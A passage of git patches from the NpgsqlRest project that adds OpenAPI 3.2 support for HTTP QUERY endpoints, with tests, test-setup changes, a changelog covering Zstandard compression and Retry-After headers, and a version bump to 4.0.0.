a/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs b/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs new file mode 100644 index 00000000..882bae4c --- /dev/null +++ b/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs @@ -0,0 +1,230 @@ +using System.Text.Json.Nodes; +using NpgsqlRest.OpenAPI; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void OpenApiSpecVersion32Tests() + { + script.Append(""" +create function openapi_q32_body(_term text, _limit int default 10) +returns table (id int, name text) +language sql as $$ select 1, _term $$; +comment on function openapi_q32_body(text, int) is ' +Search by a term. +The term travels in the request body. +HTTP QUERY +'; + +create function openapi_q32_no_params() returns text language sql as $$ select 'x' $$; +comment on function openapi_q32_no_params() is 'HTTP QUERY'; + +create function openapi_q32_in_path(_category int, _term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_in_path(int, text) is ' +HTTP QUERY /api/openapi-q32/{_category}/search +'; + +create function openapi_q32_query_string(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_query_string(text) is ' +HTTP QUERY +param_type query_string +'; + +create function openapi_q32_shared_get() returns text language sql as $$ select 'get' $$; +comment on function openapi_q32_shared_get() is 'HTTP GET /api/openapi-q32/shared'; +create function openapi_q32_shared_query(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_shared_query(text) is 'HTTP QUERY /api/openapi-q32/shared'; + +create function openapi_q32_hidden(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_hidden(text) is ' +HTTP QUERY +openapi hide +'; + +create function openapi_q32_tagged(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_tagged(text) is ' +HTTP QUERY +openapi tags Partner API, Search +'; +"""); + } + } +} + +namespace NpgsqlRestTests.OpenApiTests +{ + /// + /// SpecVersion "3.2": the document says openapi 3.2.0 and documents endpoints of the HTTP QUERY method under + /// the "query" key of their path, which OpenAPI 3.0 and 3.1 have no place for. + /// + [Collection("TestFixture")] + public class SpecVersion32Tests(Setup.TestFixture test) + { + private static JsonNode Load(string outputPath) + { + var filePath = Path.Combine(outputPath, "openapi.json"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + return JsonNode.Parse(File.ReadAllText(filePath))!; + } + + private static JsonNode Doc30 => Load(Setup.Program.OpenApiOutputPath); + private static JsonNode Doc31 => Load(Setup.Program.OpenApi31OutputPath); + private static JsonNode Doc32 => Load(Setup.Program.OpenApi32OutputPath); + + [Fact] + public void Document_says_openapi_3_2_0() + { + OpenApiSpecVersions.V32.Should().Be("3.2.0"); + Doc32["openapi"]!.GetValue().Should().Be("3.2.0"); + } + + [Theory] + [InlineData("3.2")] + [InlineData(" 3.2 ")] + [InlineData("3.2\t")] + public void Spec_version_3_2_is_accepted(string value) + { + var act = () => new OpenApi(new OpenApiOptions { SpecVersion = value }); + act.Should().NotThrow(); + } + + [Theory] + [InlineData("3.2.0")] + [InlineData("3.3")] + [InlineData("32")] + [InlineData("")] + [InlineData(null)] + public void Another_value_fails_and_the_message_lists_all_three(string? value) + { + var act = () => new OpenApi(new OpenApiOptions { SpecVersion = value! }); + act.Should().Throw().WithMessage( + $"Invalid OpenApiOptions.SpecVersion value '{value}'. Valid values are \"3.0\" (emits openapi: 3.0.3), \"3.1\" (emits openapi: 3.1.1) and \"3.2\" (emits openapi: 3.2.0)."); + } + + [Fact] + public void Without_the_query_operations_the_document_is_the_3_0_document() + { + var doc30 = Doc30; + var doc32 = Doc32; + doc30["openapi"] = "normalized"; + doc32["openapi"] = "normalized"; + + var paths = doc32["paths"]!.AsObject(); + var removed = 0; + foreach (var (path, item) in paths.ToList()) + { + if (item!.AsObject().Remove("query")) + { + removed++; + } + if (item.AsObject().Count == 0) + { + paths.Remove(path); + } + } + removed.Should().BeGreaterThan(5); + doc32.ToJsonString().Should().Be(doc30.ToJsonString()); + } + + [Theory] + [InlineData("/api/openapi-q32-body")] + [InlineData("/api/openapi-q32-no-params")] + [InlineData("/api/openapi-q32/{_category}/search")] + [InlineData("/api/openapi-q32-query-string")] + [InlineData("/api/openapi-q32-tagged")] + [InlineData("/api/tsclient-test/query-search")] + public void Earlier_versions_leave_query_endpoints_out(string path) + { + Doc30["paths"]!.AsObject().ContainsKey(path).Should().BeFalse(); + Doc31["paths"]!.AsObject().ContainsKey(path).Should().BeFalse(); + Doc32["paths"]![path]!["query"].Should().NotBeNull(); + } + + [Fact] + public void Query_operation_with_its_parameters_in_the_body() + { + Doc32["paths"]!["/api/openapi-q32-body"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Search by a term.","description":"The term travels in the request body.","tags":["public"],"operationId":"public_openapi_q32_body_query","requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","properties":{"term":{"type":"string"},"limit":{"type":"integer","format":"int32"}},"required":["term"]}}}},"responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"name":{"type":"string"}}}}}}}}}}"""); + } + + [Fact] + public void Query_operation_without_parameters() + { + Doc32["paths"]!["/api/openapi-q32-no-params"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Function public.openapi_q32_no_params","tags":["public"],"operationId":"public_openapi_q32_no_params_query","responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"string"}}}}}}}"""); + } + + [Fact] + public void Query_operation_with_a_path_parameter() + { + Doc32["paths"]!["/api/openapi-q32/{_category}/search"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Function public.openapi_q32_in_path","tags":["public"],"operationId":"public_openapi_q32_in_path_query","requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","properties":{"term":{"type":"string"}},"required":["term"]}}}},"parameters":[{"name":"category","in":"path","required":true,"schema":{"type":"integer","format":"int32"}}],"responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"string"}}}}}}}"""); + } + + [Fact] + public void Query_operation_with_parameters_in_the_query_string() + { + Doc32["paths"]!["/api/openapi-q32-query-string"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Function public.openapi_q32_query_string","tags":["public"],"operationId":"public_openapi_q32_query_string_query","parameters":[{"name":"term","in":"query","required":true,"schema":{"type":"string"}}],"responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"string"}}}}}}}"""); + } + + [Fact] + public void Query_and_get_share_a_path() + { + var item = Doc32["paths"]!["/api/openapi-q32/shared"]!.AsObject(); + item.Select(p => p.Key).Should().BeEquivalentTo(["get", "query"]); + item["get"]!["operationId"]!.GetValue().Should().Be("public_openapi_q32_shared_get_get"); + item["query"]!["operationId"]!.GetValue().Should().Be("public_openapi_q32_shared_query_query"); + + // in the earlier versions the path is there with its GET only + Doc30["paths"]!["/api/openapi-q32/shared"]!.AsObject().Select(p => p.Key).Should().BeEquivalentTo(["get"]); + Doc31["paths"]!["/api/openapi-q32/shared"]!.AsObject().Select(p => p.Key).Should().BeEquivalentTo(["get"]); + } + + [Fact] + public void A_hidden_query_endpoint_stays_hidden() + { + Doc32["paths"]!.AsObject().ContainsKey("/api/openapi-q32-hidden").Should().BeFalse(); + } + + [Fact] + public void Tags_apply_to_a_query_operation() + { + Doc32["paths"]!["/api/openapi-q32-tagged"]!["query"]!["tags"]!.ToJsonString().Should().Be("[\"Partner API\",\"Search\"]"); + } + + [Fact] + public async Task The_documented_endpoints_answer_to_the_query_method() + { + using var body = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32-body") + { + Content = new StringContent("""{"term":"abc"}""", Encoding.UTF8, "application/json") + }; + using var bodyResponse = await test.Client.SendAsync(body); + bodyResponse.StatusCode.Should().Be(HttpStatusCode.OK); + (await bodyResponse.Content.ReadAsStringAsync()).Should().Be("""[{"id":1,"name":"abc"}]"""); + + using var path = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32/7/search") + { + Content = new StringContent("""{"term":"in path"}""", Encoding.UTF8, "application/json") + }; + using var pathResponse = await test.Client.SendAsync(path); + pathResponse.StatusCode.Should().Be(HttpStatusCode.OK); + (await pathResponse.Content.ReadAsStringAsync()).Should().Be("in path"); + + using var query = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32-query-string?term=qs"); + using var queryResponse = await test.Client.SendAsync(query); + queryResponse.StatusCode.Should().Be(HttpStatusCode.OK); + (await queryResponse.Content.ReadAsStringAsync()).Should().Be("qs"); + + using var shared = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32/shared") + { + Content = new StringContent("""{"term":"shared"}""", Encoding.UTF8, "application/json") + }; + using var sharedResponse = await test.Client.SendAsync(shared); + (await sharedResponse.Content.ReadAsStringAsync()).Should().Be("shared"); + (await test.Client.GetStringAsync("/api/openapi-q32/shared")).Should().Be("get"); + } + } +} diff --git a/NpgsqlRestTests/Setup/Database.cs b/NpgsqlRestTests/Setup/Database.cs index 0e5f1361..b7122f58 100644 --- a/NpgsqlRestTests/Setup/Database.cs +++ b/NpgsqlRestTests/Setup/Database.cs @@ -12,7 +12,12 @@ public static partial class Database private const string Port = "5432"; private const string Username = "postgres"; private const string Password = "postgres"; - private const string InitialConnectionString = $"Host={Host};Port={Port};Database=postgres;Username={Username};Password={Password}"; + // Idle connections are closed after a few seconds (Npgsql keeps them for 5 minutes by default). The suite has + // many fixtures, each with a pool of its own that lives until the process ends; kept idle, they added up to + // 84 of PostgreSQL's default 100 connections, and a test that then needed a new physical connection (a + // connection of its own, or the one Npgsql opens to cancel a running command) failed whenever anything + // else was connected to the server. + private const string InitialConnectionString = $"Host={Host};Port={Port};Database=postgres;Username={Username};Password={Password};Connection Idle Lifetime=3;Connection Pruning Interval=1"; private static readonly StringBuilder script = new(); private static readonly object _createLock = new(); private static volatile bool _created = false; diff --git a/NpgsqlRestTests/Setup/Program.cs b/NpgsqlRestTests/Setup/Program.cs index 9ddee7aa..aa5cf478 100644 --- a/NpgsqlRestTests/Setup/Program.cs +++ b/NpgsqlRestTests/Setup/Program.cs @@ -94,6 +94,11 @@ public class Program /// public static string OpenApi31OutputPath { get; } = Path.Combine(Path.GetTempPath(), "NpgsqlRestTests", "OpenApi31"); + /// + /// Output path for OpenApi generated files with SpecVersion=3.2 (used by tests) + /// + public static string OpenApi32OutputPath { get; } = Path.Combine(Path.GetTempPath(), "NpgsqlRestTests", "OpenApi32"); + static async Task ValidateAsync(ParameterValidationValues p) { if (p.Routine.Name == "case_jsonpath_param" && p.Parameter.Value?.ToString() == "XXX") @@ -439,6 +444,15 @@ public static void Main() AddCurrentServer = false, SpecVersion = "3.1" }), + // The same once more with SpecVersion=3.2, where HTTP QUERY endpoints are documented + new OpenApi(new OpenApiOptions + { + FileName = Path.Combine(OpenApi32OutputPath, "openapi.json"), + FileOverwrite = true, + DocumentTitle = "NpgsqlRest Test API", + AddCurrentServer = false, + SpecVersion = "3.2" + }), ], CommentsMode = CommentsMode.ParseAll, ValidateParametersAsync = ValidateAsync, diff --git a/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs b/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs index a134c7fc..f4b58f01 100644 --- a/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs +++ b/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs @@ -55,8 +55,8 @@ public RateLimiterPerPolicyTestFixture() { options.RejectionStatusCode = StatusCodes.Status429TooManyRequests; options.OnRejected = (context, cancellationToken) => - Builder.ApplyRateLimiterRejectionAsync( - context.HttpContext, overrides, StatusCodes.Status429TooManyRequests, GlobalMessage, cancellationToken); + Builder.RateLimiterRejectedAsync( + context, overrides, StatusCodes.Status429TooManyRequests, GlobalMessage, retryAfterHeader: true, cancellationToken); foreach (var name in new[] { "rlpm-login", "rlpm-strict", "rlpm-inherit" }) { diff --git a/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs b/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs index b11e0f0d..7dfe3f98 100644 --- a/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs +++ b/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs @@ -10,7 +10,7 @@ public static void TsClientQueryMethodTests() -- The HTTP QUERY method (safe + idempotent, carries the query in the request body): -- parameters default to the JSON body, generators emit method QUERY with a body, -- ReactQuery hooks treat it as a query (useQuery), and OpenAPI 3.0/3.1 skips it --- (no `query` path item key until OpenAPI 3.2). +-- (no `query` path item key until OpenAPI 3.2; SpecVersion "3.2" documents it, see SpecVersion32Tests). create function tsclient_test.query_search(_q text, _top int default 3) returns text language sql diff --git a/plugins/NpgsqlRest.OpenApi/OpenApi.cs b/plugins/NpgsqlRest.OpenApi/OpenApi.cs index 2bbbbdce..bcee523a 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApi.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApi.cs @@ -19,6 +19,7 @@ public static class OpenApiSpecVersions { public const string V30 = "3.0.3"; public const string V31 = "3.1.1"; + public const string V32 = "3.2.0"; } public class OpenApi(OpenApiOptions openApiOptions) : IEndpointCreateHandler @@ -43,9 +44,14 @@ internal static string ResolveSpecVersion(string? specVersion) { return OpenApiSpecVersions.V31; } + if (string.Equals(value, "3.2", StringComparison.OrdinalIgnoreCase)) + { + return OpenApiSpecVersions.V32; + } throw new ArgumentException( $"Invalid OpenApiOptions.SpecVersion value '{specVersion}'. " + - $"Valid values are \"3.0\" (emits openapi: {OpenApiSpecVersions.V30}) and \"3.1\" (emits openapi: {OpenApiSpecVersions.V31})."); + $"Valid values are \"3.0\" (emits openapi: {OpenApiSpecVersions.V30}), \"3.1\" (emits openapi: {OpenApiSpecVersions.V31}) " + + $"and \"3.2\" (emits openapi: {OpenApiSpecVersions.V32})."); } private IApplicationBuilder _builder = default!; @@ -199,11 +205,11 @@ public void Handle(RoutineEndpoint endpoint) var path = endpoint.Path; // OpenAPI 3.0/3.1 path items only allow the fixed operation keys (get/put/post/delete/...); - // the QUERY method has no representation until OpenAPI 3.2. Skip those endpoints instead of - // emitting an invalid `query` key. - if (endpoint.Method == Method.QUERY) + // the QUERY method has its own key, `query`, from OpenAPI 3.2. In an earlier version those endpoints + // are skipped instead of emitting an invalid key. + if (endpoint.Method == Method.QUERY && _specVersion != OpenApiSpecVersions.V32) { - Logger?.LogWarning("OpenAPI: skipping {Method} {Path} - the QUERY method cannot be represented in OpenAPI {Version} (supported from OpenAPI 3.2).", + Logger?.LogWarning("OpenAPI: skipping {Method} {Path} - the QUERY method cannot be represented in OpenAPI {Version}. Set SpecVersion to \"3.2\" to document it.", endpoint.Method, endpoint.Path, _specVersion); return; } diff --git a/plugins/NpgsqlRest.OpenApi/OpenApiOptions.cs b/plugins/NpgsqlRest.OpenApi/OpenApiOptions.cs index 9411bb9c..b29f093f 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApiOptions.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApiOptions.cs @@ -34,7 +34,9 @@ public class OpenApiOptions /// /// OpenAPI specification version of the generated document. - /// "3.0" emits openapi: 3.0.3, "3.1" emits openapi: 3.1.1. + /// "3.0" emits openapi: 3.0.3, "3.1" emits openapi: 3.1.1, "3.2" emits openapi: 3.2.0. + /// With "3.2", endpoints of the HTTP QUERY method are documented (as the "query" operation of their + /// path); earlier versions have no place for them, so they are left out with a warning. /// Default is "3.0" for backward compatibility. /// NOTE: this is the OpenAPI SPEC version, not the API version /// (see DocumentVersion for that). From 84fc54f9fd9f6a71fafa640fa324634f783c6f12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 20 Nov 2026 13:21:26 +0100 Subject: [PATCH 21/38] docs: 3.22.0 changelog - new with .NET 11; regenerated skill configuration reference - New section: Zstandard response compression, OpenAPI 3.2, Retry-After. - Upgrade notes: the Retry-After header, and what ASP.NET Core 11 and .NET 11 change by themselves (Vary: Accept-Encoding on every response, stricter Kestrel, the x86-64-v2 baseline). - The skill's configuration reference is generated from the new --config output. --- .../npgsqlrest/configuration-reference.jsonc | 23 ++++- changelog/v3.22.0.md | 88 +++++++++++++++++++ 2 files changed, 109 insertions(+), 2 deletions(-) diff --git a/.claude/skills/npgsqlrest/configuration-reference.jsonc b/.claude/skills/npgsqlrest/configuration-reference.jsonc index 3a1c89e9..a7830d1a 100644 --- a/.claude/skills/npgsqlrest/configuration-reference.jsonc +++ b/.claude/skills/npgsqlrest/configuration-reference.jsonc @@ -980,6 +980,12 @@ // "EnableForHttps": false, // + // Use Zstandard compression when supported by client (Accept-Encoding: zstd). It compresses about as well as + // Brotli for a fraction of the CPU time. Among the encodings a client accepts with equal preference, the + // order is Zstandard, Brotli, Gzip. + // + "UseZstandard": false, + // // Use Brotli compression algorithm when supported by client. // "UseBrotli": true, @@ -992,6 +998,11 @@ // "CompressionLevel": "Optimal", // + // Zstandard quality, from 1 (fastest) to 22 (smallest). When null, it follows CompressionLevel: + // Optimal is 3, Fastest is 1, SmallestSize is 19. + // + "ZstandardQuality": null, + // // MIME types to include for compression. // "IncludeMimeTypes": [ @@ -1858,6 +1869,12 @@ "StatusMessage": "Too many requests. Please try again later.", "DefaultPolicy": null, // + // Send the Retry-After header with a rejected request: the number of seconds (rounded up) until the + // limiter will let a request through again. Fixed window, sliding window and token bucket policies know + // that time; a concurrency policy does not, so its rejections carry no such header. + // + "RetryAfterHeader": true, + // // Named rate-limiter policies. The object key is the policy name (referenced from endpoints via the // `rate_limiter_policy ` comment annotation, or used as `DefaultPolicy` above). // @@ -2705,9 +2722,11 @@ // "DocumentDescription": null, // - // OpenAPI specification version of the generated document: "3.0" or "3.1". + // OpenAPI specification version of the generated document: "3.0", "3.1" or "3.2". // "3.0" emits openapi: 3.0.3 (default, backward compatible), - // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment). + // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment), + // "3.2" emits openapi: 3.2.0 and documents HTTP QUERY endpoints, which earlier versions cannot describe + // (they are left out with a warning). Check that your tools read 3.2 before choosing it. // This is the spec version, not your API version (that is DocumentVersion). // "SpecVersion": "3.0", diff --git a/changelog/v3.22.0.md b/changelog/v3.22.0.md index d7a849d1..25f54a6e 100644 --- a/changelog/v3.22.0.md +++ b/changelog/v3.22.0.md @@ -36,6 +36,11 @@ Most applications upgrade without changes. Go through this list; each item links - Anonymous calls to `authorize` endpoints get `401` before validation runs, so they no longer see validation errors, `204` or `404` responses. → [details](#authorization-is-now-checked-before-the-request-is-processed) - A `500` caused by the infrastructure (for example, the database is unreachable) no longer includes the error message. PostgreSQL's own errors still do. → [details](#infrastructure-error-details-are-no-longer-returned-to-clients) +- **Rejected (rate-limited) requests now carry a `Retry-After` header.** Set `RateLimiterOptions:RetryAfterHeader` to `false` for the earlier response. → [details](#retry-after-on-rate-limited-requests) +- **Three things ASP.NET Core 11 and .NET 11 change by themselves** (the `npgsqlrest` client and its Docker images; not the library used on .NET 10): + - With `ResponseCompression` enabled, **every** response now has `Vary: Accept-Encoding`, including the ones that were not compressed. A CDN or caching proxy in front may start keeping one copy per `Accept-Encoding` value; have it normalize that header. + - Kestrel is stricter about HTTP. An HTTP/2 or HTTP/3 request with a `Connection`, `Keep-Alive`, `Proxy-Connection`, `Transfer-Encoding` or `Upgrade` header (or `TE` other than `trailers`) is refused, and after an HTTP/1.1 request with both `Content-Length` and `Transfer-Encoding` the connection is closed. A gateway that forwards such headers needs to stop doing so. + - On x64, .NET 11 needs a processor with the x86-64-v2 instruction set (SSE4.2, POPCNT: in practice anything made since about 2009). On an older one the binary does not start and says "The current CPU is missing one or more of the baseline instruction sets". - SQL files: a comment line written without `@` that begins with `returns` or `result` is an annotation only when the rest of it looks like one; a sentence is a comment. Write `@returns` and `@result` to be explicit. → [details](#sql-files-a-comment-starting-with-returns-or-result-was-taken-for-an-annotation) - OpenAPI tags are separated by commas only: `@openapi tags a b` is now one tag, `a b`. → [details](#openapi-a-tag-could-not-be-several-words) - Built-in `key = value` lines with a value that is not valid (`raw = maybe`) now log a warning. → [details](#key--value-forms-that-did-nothing-in-silence) @@ -79,6 +84,89 @@ Most applications upgrade without changes. Go through this list; each item links --- +### New with .NET 11 + +Three additions that .NET 11 and ASP.NET Core 11 made possible or worthwhile. All three are settings; nothing changes until they are used, except the `Retry-After` header, which is on. + +#### Zstandard response compression + +ASP.NET Core 11 can compress responses with [Zstandard](https://facebook.github.io/zstd/) (`Content-Encoding: zstd`), which compresses about as well as Brotli for a fraction of the CPU time, and which current Chrome, Edge and Firefox ask for. The client can now use it: + +```jsonc +{ + "ResponseCompression": { + "Enabled": true, + "UseZstandard": true, // new, default false + "UseBrotli": true, + "UseGzipFallback": true, + "CompressionLevel": "Optimal", + "ZstandardQuality": null // new: 1 (fastest) to 22 (smallest); null follows CompressionLevel + } +} +``` + +- A client is answered with the encoding it prefers (`Accept-Encoding` with its `q` values). Among the encodings it accepts equally, the order is Zstandard, Brotli, Gzip, so a browser that sends `gzip, deflate, br, zstd` gets Zstandard, and a client that does not list `zstd` gets what it got before. +- `CompressionLevel` stands for a Zstandard quality: `Optimal` is 3 (the algorithm's own default), `Fastest` is 1, `SmallestSize` is 19. `ZstandardQuality` sets it directly; a value outside 1 to 22 is ignored with a warning. +- It is off by default so that an upgrade changes no response. The setting needs .NET 11, which is what the `npgsqlrest` client is built for. + +#### OpenAPI 3.2, where HTTP QUERY endpoints can be described + +Endpoints of the [`QUERY`](https://npgsqlrest.github.io/annotations/http.html) method (since 3.20.0) were left out of the OpenAPI document with a warning, because OpenAPI 3.0 and 3.1 have a fixed list of operations and `query` is not among them. OpenAPI 3.2 adds it. `SpecVersion` accepts a third value: + +```jsonc +{ + "NpgsqlRest": { + "OpenApiOptions": { + "Enabled": true, + "SpecVersion": "3.2" // "3.0" (default), "3.1", or "3.2" + } + } +} +``` + +With `"3.2"` the document says `openapi: 3.2.0` and a `QUERY` endpoint is an operation like any other, under the `query` key of its path, next to `get` or `post` when the path has those too: + +```json +"/api/search": { + "query": { + "summary": "Search by a term.", + "tags": ["public"], + "operationId": "public_search_query", + "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "properties": { "term": { "type": "string" } }, "required": ["term"] } } } }, + "responses": { "200": { "description": "Successful response", "content": { "application/json": { "schema": { "type": "string" } } } } } + } +} +``` + +Everything else in the document is the same as in the 3.0 document. The default stays `"3.0"`: OpenAPI 3.2 is recent, so check that the tools reading your document (Swagger UI, code generators) understand it before choosing it. In 3.0 and 3.1 documents `QUERY` endpoints are still left out, and the warning now says which setting documents them. For library users: `OpenApiOptions.SpecVersion = "3.2"`, and the constant `OpenApiSpecVersions.V32`. + +#### `Retry-After` on rate-limited requests + +A request rejected by the rate limiter got its status code and message, and nothing that says when to try again. It now carries the `Retry-After` header: the number of seconds, rounded up, until the limiter will let a request through. + +``` +HTTP/1.1 429 Too Many Requests +Retry-After: 42 + +Too many requests. Please try again later. +``` + +- **Fixed window:** the time until the window ends. **Sliding window:** the time until a used permit leaves the window. **Token bucket:** the time until the next token. With a `Partition`, it is the time for the caller's own bucket. +- **Concurrency** policies send no header: the limiter cannot know when a running request will finish. +- Per-policy `StatusCode` and `StatusMessage` work as before; the header is added to whatever the policy answers. +- .NET 11 is what makes the header worth sending: its fixed window limiter reports the time that is left (on .NET 10 it reports the whole window, whatever part of it has passed), and its sliding window limiter reports a time at all (on .NET 10 it does not). + +```jsonc +{ + "RateLimiterOptions": { + "Enabled": true, + "RetryAfterHeader": true // new, default true; false sends rejections as before, without the header + } +} +``` + +--- + ### Performance Compared with 3.21.0, this release serves **21–24% more row requests per second**, needs **28–36% less CPU** for them, **37–45% less CPU** for large JSON values, and holds a half to a quarter of the memory under load. Small requests are served at the same rate as before. Endpoints with `user_context` or `request_headers context` need **one database round trip instead of two**: they serve **41–69% more requests per second** and answer about 120 µs sooner. From 0bbf667dd125fc1973b73db0d5282c1260411b5a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 20 Nov 2026 13:26:55 +0100 Subject: [PATCH 22/38] bump version 4.0.0 The release prepared as 3.22.0 ships as 4.0.0: it contains breaking changes (the security fixes, and .NET 11 for the client). - version.txt and npm/package.json: 4.0.0. - changelog/v3.22.0.md is now changelog/v4.0.0.md, with a headline that says why this is a major version and a table of package versions. - Every mention of 3.22.0 (code comments, tests, skill files, benchmark baselines) says 4.0.0; the two baseline files are renamed. - Plugins, all rebuilt for net10.0 and net11.0 against the 4.0.0 core: TsClient 1.38.0, DartClient 1.1.0, Mcp 1.2.0, OpenAPI 1.3.0, SqlFileSource 1.2.0, CrudSource 1.5.0, HttpFiles 1.5.0. --- .claude/skills/npgsqlrest/SKILL.md | 20 ++-- .../npgsqlrest/annotations-reference.md | 2 +- .../npgsqlrest/configuration-reference.jsonc | 2 +- .../Baselines/EndpointBenchmarks-3.21.0.md | 6 +- ...1.md => EndpointBenchmarks-4.0.0-net11.md} | 4 +- ...rf.md => EndpointBenchmarks-4.0.0-perf.md} | 98 +++++++++---------- Directory.Build.props | 4 +- .../CommentParsers/AuthorizeHandler.cs | 2 +- NpgsqlRest/Options/NpgsqlRestOptions.cs | 2 +- .../CommentTests/CommentParserFixesTests.cs | 2 +- .../PluginAndHandlerFixesTests.cs | 2 +- .../HttpClientTypeFixesTests.cs | 2 +- .../ResolvedParameterWithUserParamsTests.cs | 2 +- changelog/{v3.22.0.md => v4.0.0.md} | 58 ++++++----- npm/package.json | 2 +- .../NpgsqlRest.CrudSource.csproj | 8 +- .../NpgsqlRest.DartClient.csproj | 8 +- .../NpgsqlRest.HttpFiles.csproj | 8 +- plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj | 8 +- .../NpgsqlRest.OpenApi.csproj | 8 +- .../NpgsqlRest.SqlFileSource.csproj | 8 +- .../NpgsqlRest.TsClient.csproj | 8 +- version.txt | 2 +- 23 files changed, 140 insertions(+), 126 deletions(-) rename BenchmarkTests/Baselines/{EndpointBenchmarks-3.22.0-net11.md => EndpointBenchmarks-4.0.0-net11.md} (97%) rename BenchmarkTests/Baselines/{EndpointBenchmarks-3.22.0-perf.md => EndpointBenchmarks-4.0.0-perf.md} (80%) rename changelog/{v3.22.0.md => v4.0.0.md} (97%) diff --git a/.claude/skills/npgsqlrest/SKILL.md b/.claude/skills/npgsqlrest/SKILL.md index 1f528680..28a2dabc 100644 --- a/.claude/skills/npgsqlrest/SKILL.md +++ b/.claude/skills/npgsqlrest/SKILL.md @@ -106,7 +106,7 @@ Same annotations apply to functions and `.sql` files. Confirm exact syntax/alias - `HTTP [GET|POST|PUT|DELETE|QUERY] [/path]` — expose (`QUERY` = the standardized safe method with a body; its params default to the JSON body). `@path /x` — override path. `@disabled`/`@enabled`. `@internal` — exists but no public route (reachable via proxy / HTTP-type self-call). `@tags a,b`, `@openapi …`. **Auth** -- `@authorize` (any authenticated) / `@authorize role1, role2` (plain values are ROLES only; specific users: `user:`, `id:` — since 3.22.0). `@allow_anonymous` (aliases `@anonymous`, `@anon`). `@login` / `@logout`. `@user_context` (claims → PG context + headers), `@user_parameters` (claims → params). `@security_sensitive` (keep param values out of logs). +- `@authorize` (any authenticated) / `@authorize role1, role2` (plain values are ROLES only; specific users: `user:`, `id:` — since 4.0.0). `@allow_anonymous` (aliases `@anonymous`, `@anon`). `@login` / `@logout`. `@user_context` (claims → PG context + headers), `@user_parameters` (claims → params). `@security_sensitive` (keep param values out of logs). **Params / request** - `@param $1 name [type] [default …]` (rename/retype/default). `@define_param name [type]` (virtual, SQL-file). `@request_param_type query_string | body_json`. `@body_parameter_name _x` (one param = raw body). `@request_headers_mode parameter` + `@request_headers_parameter_name _headers`. Resolved param: a line `_token = select api_token from tokens where user_name = {_name}` fills `_token` server-side (client can't override). @@ -146,7 +146,7 @@ Accept: text/html'; - Response fields (names configurable in `HttpClientOptions`): `body`, `status_code`, `content_type`, `headers` (json), `success`, `error_message`. - `@cache ` (3.18.0+): caches the outbound response — **GET only, 2xx only**, stampede-coalesced; globally toggled by `HttpClientOptions.CacheEnabled`. - Placeholders `{name}` in URL/headers/body substitute from params, resolved-param expressions, and allowlisted env vars. Env vars are opt-in via `NpgsqlRest:AvailableEnvVars` (array of names, or object of `name → default`; resolved once at startup, matched case-insensitively; a same-named routine parameter wins) — ideal for API keys: `Authorization: Bearer {WEATHER_API_KEY}`. Strict forms (3.21.0+): `{!name}` resolves like `{name}` for known names; `{!name:fallback}` substitutes the inline fallback when the listed var is unset with no configured default, or when a parameter value is null (`X-Plan: {!_plan:free}`); unlisted names stay literal in every form. -- In the **URL**, parameter values are percent-encoded (3.22.0+): each stays inside its path segment / query value, so don't pass a pre-built query string or path through one placeholder — use one placeholder per value, or an env var for a base URL (env values are not encoded). Headers and body are inserted as-is. Calls without `@timeout` time out after 30s (3.22.0+; previously no limit) → `status_code` 408. +- In the **URL**, parameter values are percent-encoded (4.0.0+): each stays inside its path segment / query value, so don't pass a pre-built query string or path through one placeholder — use one placeholder per value, or an env var for a base URL (env values are not encoded). Headers and body are inserted as-is. Calls without `@timeout` time out after 30s (4.0.0+; previously no limit) → `status_code` 408. - A relative URL (`GET /api/other`) is a **self-call** to another endpoint with no HTTP round-trip — give a function several HTTP-type params and they fire concurrently. - Requires `HttpClientOptions.Enabled = true`. @@ -156,14 +156,14 @@ Accept: text/html'; - **Passthrough** (no proxy-response params): function body is **not executed**; upstream response streamed back; no DB connection. - **Transform** (routine declares `_proxy_status_code int`, `_proxy_body text`, `_proxy_success boolean`, `_proxy_headers json`, `_proxy_content_type text`, `_proxy_error_message text`): NpgsqlRest proxies, binds the response into those params, runs the function, returns its result. -- 